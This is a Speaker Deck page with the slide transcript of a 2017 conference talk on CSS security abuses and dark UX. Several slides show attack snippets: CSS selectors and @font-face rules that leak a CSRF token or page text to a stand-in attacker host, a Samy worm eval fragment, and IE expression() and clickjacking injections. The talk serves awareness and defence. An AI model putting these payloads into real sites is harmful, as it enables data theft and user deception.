Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2
1.5k
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
Tweet
Share
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
160
The Tail and Its Dog
stephenhay
1
300
From Deception to Clarity
stephenhay
4
630
Sculpting Text
stephenhay
4
890
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
510
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
550
Flexbox: One Giant Leap for Web Layout
stephenhay
6
400
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
930
Flexbox: One Giant Leap for Web Layout
stephenhay
5
160
Other Decks in Design
See All in Design
生成AIを受け入れ共創できるデザイナーマインドへープロセス改革を想定したデザイナーの準備ー
takumasaito
1
1.8k
デザイナーのお仕事(UI/UX GRAPHIC GROUP)
mirrativ
0
140
Managing Design Systems (Antwerp 2024)
nathanacurtis
1
390
クライアントワークにおける UXリサーチの実践
kozotaira
0
360
マンガで分かるサービスデザインガイドライン
senryakuka
1
660
横断組織デザイナーの働き方
mixi_design
PRO
0
340
OLTA株式会社/デザイン紹介資料
taxy
0
120
The Very Small Creatures - dressing up warm sequence
lizziestoryboards
0
210
Goodpatch Tour💙 / We are hiring!
goodpatch
31
800k
20241204_UI/UXデザイナーLT会 - vol.10_DMM
motokoishida
0
280
今更聞けないデザイン思考 - 高専キャリア2024冬 / imasara-design-thinking
chige
5
910
【pmconf2024】ユーザーになりきる「コスプレUX」で リサーチ解像度を上げる
kamechi7222222
1
8.6k
Featured
See All Featured
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
44
7k
Easily Structure & Communicate Ideas using Wireframe
afnizarnur
193
16k
Speed Design
sergeychernyshev
27
810
Designing for humans not robots
tammielis
250
25k
The Web Performance Landscape in 2024 [PerfNow 2024]
tammyeverts
4
430
How STYLIGHT went responsive
nonsquared
98
5.4k
The Pragmatic Product Professional
lauravandoore
32
6.4k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
27
1.6k
Scaling GitHub
holman
459
140k
[RailsConf 2023] Rails as a piece of cake
palkan
53
5.3k
I Don’t Have Time: Getting Over the Fear to Launch Your Podcast
jcasabona
32
2.1k
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
29
1k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens